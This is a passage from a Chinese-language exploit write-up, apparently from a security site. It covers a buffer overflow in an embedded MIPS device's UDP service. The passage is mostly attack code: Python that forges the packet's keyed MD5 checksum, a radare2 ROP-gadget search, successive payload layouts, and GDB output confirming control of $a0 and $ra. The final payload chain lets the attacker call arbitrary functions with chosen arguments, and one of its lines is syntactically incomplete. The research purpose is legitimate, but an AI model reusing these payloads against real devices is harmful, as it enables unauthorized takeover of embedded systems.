 payload += "AAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqABrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHACIACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACiACjACkAClACmACnACoACpACqACrACsACtACuACvACwACxACyACzAC1AC2AC3AC4AC5AC6AC7AC8AC9AC0ADBADCADDADEADFADGADHADIADJADKADLADMADNADOADPADQADRADSADTADUADVADWADXADYADZADaADbADcADdADeADfADgADhADiADjADkADlADmADnADoADpADqADrADsADtADuADvADwADxADyADzAD1AD2AD3AD4AD5AD6AD7AD8AD9AD0AEBAECAEDAEEAEFAEGAEHAEIAEJAEKAELAEMAENAEOAEPAEQAERAESAETAEUAEVAEWAEXAEYAEZAEaAEbAEcAEdAEeAEfAEgAEhAEiAEjAEkAElAEmAEnAEoAEpAEqAErAEsAEtAEuAEvAEwAExAEyAEzAE1AE2AE3AE4AE5AE6AE7AE8AE9AE0AFBAFCAFDAFEAFFAFGAFHAFIAFJAFKAFLAFMAFNAFOAFPAFQAFRAFSAFTAFUAFVAFWAFXAFYAFZAFaAF"
 packet = checksum + padding + payload
 m = hashlib.md5()
 m.update(header + packet)
 key = "\x61\x73\x64\x66\x3b\x6c\x6b\x6a\x37\x36\x33" # "asdf;lkj763"
 m.update(key)
 checksum = m.digest()
 
 client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
 client.sendto(header + checksum + padding + payload, (host, port))

我们可以控制跳转,但是跳到哪里是个问题,可以尝试找到一个让我们修改$ ra和$ a0的gadget,如果$ ra和$ a0是从堆栈中获取的值,可以执行类似dangerous_function(“whatever”)的操作。

使用radare2进行快速搜索找到了一个很好的gadget:

 [0x004027b0]> "/R/ addiu a0;j* ra"
   0x004154d4           27a40018  addiu a0, sp, 0x18
   0x004154d8           8fbc0010  lw gp, 0x10(sp)
   0x004154dc           8fbf0030  lw ra, 0x30(sp)
   0x004154e0           03e00008  jr ra
   0x004154e4           27bd0038  addiu sp, sp, 0x38

寄存器$ a0从堆栈和$ ra中获取值,再跳转到$ ra。

组合在一起:

 payload = "A" * 95 # Padding 1
 payload += "\x00\x41\x54\xd4" #  0x004154d4; our magic gadget to control $a0, $ra and jump to $ra
 payload += "C" * 16 # Padding 2
 payload += "\x76\xff\xf4\x9c" # 0x76FFF49C; random valid memory address to bypass the crash at 0x40b24c (sw zero,0(v0))
 # 881
 payload += "AAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqABrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHACIACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACiACjACkAClACmACnACoACpACqACrACsACtACuACvACwACxACyACzAC1AC2AC3AC4AC5AC6AC7AC8AC9AC0ADBADCADDADEADFADGADHADIADJADKADLADMADNADOADPADQADRADSADTADUADVADWADXADYADZADaADbADcADdADeADfADgADhADiADjADkADlADmADnADoADpADqADrADsADtADuADvADwADxADyADzAD1AD2AD3AD4AD5AD6AD7AD8AD9AD0AEBAECAEDAEEAEFAEGAEHAEIAEJAEKAELAEMAENAEOAEPAEQAERAESAETAEUAEVAEWAEXAEYAEZAEaAEbAEcAEdAEeAEfAEgAEhAEiAEjAEkAElAEmAEnAEoAEpAEqAErAEsAEtAEuAEvAEwAExAEyAEzAE1AE2AE3AE4AE5AE6AE7AE8AE9AE0AFBAFCAFDAFEAFFAFGAFHAFIAFJAFKAFLAFMAFNAFOAFPAFQAFRAFSAFTAFUAFVAFWAFXAFYAFZAFaAF"

测试一下(将断点打在0x4154e0处,跳转的位置):

 (gdb) x/i $pc
 => 0x4154e0 <__floatsidf+64>:   jr      ra
    0x4154e4 <__floatsidf+68>:   addiu   sp,sp,56
 (gdb) x/wx $a0
 0x76fff550:     0x416f4141
 (gdb) x/wx $ra
 0x41774141:     Cannot access memory at address 0x41774141

修改一下payload

 payload = "A" * 95 # Padding 1
 payload += "\x00\x41\x54\xd4" #  0x004154d4; our magic gadget to control $a0, $ra and jump to $ra
 payload += "C" * 16 # Padding 2
 payload += "\x76\xff\xf4\x9c" # 0x76FFF49C; random valid memory address to bypass the crash at 0x40b24c (sw zero,0(v0))
 payload += "A" * 4 # Padding 3
 payload += "B" * 4 #Value that will take $a0
 payload += "A" * 20 # Padding 4
 payload += "C" * 4 #Value for $ra

有点小兴奋

 (gdb) x/i $pc                
 => 0x4154e0 <__floatsidf+64>:   jr      ra                                                                              
    0x4154e4 <__floatsidf+68>:   addiu   sp,sp,56                                                                        
 (gdb) x/wx $a0               
 0x76fff550:     0x42424242   
 (gdb) x/i $ra                
    0x43434343:  Cannot access memory at address 0x43434342

现在就可以使用由我们控制的参数调用文件中的任何函数。这个PoC后面的部分留给读者继续学习,但请记住:我们使用的gadget用于修改$ gp(lw gp, 0x10(sp))。

0x10是为了不让程序崩溃,所以为了设置其他地址,可以用一个小跳转在后面写入payload,并使用addiu sp, sp, 0xc0达到地址0x0040b8a0。

所以最终的payload如下:

 payload = "A" * 95 # Padding 1
 payload += "\x00\x40\xb8\x98" # Short jump backwards
 payload += "C" * 16 # Padding 2
 payload += "\x76\xff\xf4\x9c" # 0x76FFF49C; random valid memory address to bypass the crash at 0x40b24c (sw zero,0(v0))
 payload += "D" * 168 # Padding 3
 payload += "\x00\x41\x54\xd4" #  0x004154d4; our magic gadget to control $a0, $ra and jump to $ra
 payload += "E" * 12 # Padding 4
 payload += "X" *  # Value for $gp, change it if needed.
 payload += "F" * 4 # Padding 5
 payload += "Y" * 4 # Value for $a0
 payload += "G" * 4 # Padding 6
 payload += "Z" * 4 # Value for $ra

0x06总结

今年夏天在嵌入式设备上的研究有一些很酷的成果,比如这个漏洞就是其中之一,但更重要的是,这篇文章是了解更多有关漏洞利用的一个好方法。

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务